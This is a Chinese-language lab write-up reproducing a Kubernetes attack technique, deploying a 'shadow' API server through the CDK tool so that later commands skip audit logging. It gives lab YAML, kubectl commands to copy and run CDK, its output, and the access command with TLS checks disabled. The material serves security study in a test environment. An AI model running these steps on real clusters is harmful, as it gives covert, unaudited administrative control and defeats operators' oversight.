Kubernetes 部署 Shadow API Server

漏洞描述

该技术来源于 "RSAC 2020: Advanced Persistence Threats: The Future of Kubernetes Attacks",思路是在拥有 Master 节点上的 create pod 权限时,可创建一个具有 API Server 功能的 Pod,使得后续命令可以通过新创建的 shadow api server 进行下发,绕过 K8s 的日志审计,更加具有隐蔽性。

参考链接:

环境搭建

基础环境准备(Docker + Minikube + Kubernetes),可参考 Kubernetes + Ubuntu 18.04 漏洞环境搭建 完成。

本例中各组件版本如下:

Docker version: 18.09.3
minikube version: v1.35.0
Kubectl Client Version: v1.32.3
Kubectl Server Version: v1.32.0

通过 yaml 文件创建漏洞环境:

kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f k8s_shadow_apiserver.yaml

执行完成后,K8s 集群内 metarget 命名空间下将会创建一个名为 k8s-shadow-apiserver 的 pod:

kubectl get pods -n metarget
-----
NAME                   READY   STATUS    RESTARTS   AGE
k8s-shadow-apiserver   1/1     Running   0          40m

漏洞复现

下载漏洞利用工具 CDK,将其传入 k8s-shadow-apiserverpod 中:

kubectl cp cdk k8s-shadow-apiserver:/ -n metarget

执行以下命令运行工具(该命令会在 kube-system 命名空间下创建一个 shadow apiserver,可根据提示进行访问):

kubectl exec -n metarget -it k8s-shadow-apiserver -- chmod +x /cdk
kubectl exec -n metarget -it k8s-shadow-apiserver --  /cdk run k8s-shadow-apiserver default
-----
...
2025/04/22 07:18:04 shadow api-server deploy success!
    shadow api-server pod name:kube-apiserver-minikube-shadow-yg7vf3, namespace:kube-system, node name:minikube
    listening port: https://minikube:9444
    run: kubectl --server=https://minikube:9444 --token=eyJhb...UnXw --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A

验证部署结果:

kubectl get pods -n kube-system | grep shadow
-----
kube-apiserver-minikube-shadow-yg7vf3   1/1     Running   0              90s

通过获取的 K8s Token 访问 shadow apiserver,该 apiserver 具有和集群中现存的 apiserver 一致的功能,同时开启了全部 K8s 管理权限,且不保存审计日志:

kubectl --server=https://minikube:9444 --token=<YOUR_TOKEN_HERE> --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A

环境复原

kubectl delete pod kube-apiserver-minikube-shadow-6aktct -n kube-system
kubectl delete -f k8s_shadow_apiserver.yaml
kubectl delete -f k8s_metarget_namespace.yaml

YAML

k8s_metarget_namespace.yaml

apiVersion: v1
kind: Namespace
metadata:
  name: metarget

k8s_shadow_apiserver.yaml

apiVersion: v1
kind: ServiceAccount
metadata:
  name: k8s-shadow-apiserver
  namespace: metarget
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: k8s-shadow-apiserver
rules:
- apiGroups:
  - ""
  resources:
  - pods
  verbs:
  - create
  - get
  - list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: k8s-shadow-apiserver
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: k8s-shadow-apiserver
subjects:
- kind: ServiceAccount
  name: k8s-shadow-apiserver
  namespace: metarget
---
apiVersion: v1
kind: Pod
metadata:
  name: k8s-shadow-apiserver
  namespace: metarget
spec:
  serviceAccountName: k8s-shadow-apiserver
  containers:
  - name: ubuntu
    image: ubuntu:latest
    imagePullPolicy: IfNotPresent
    # Just spin & wait forever
    command: [ "/bin/bash", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]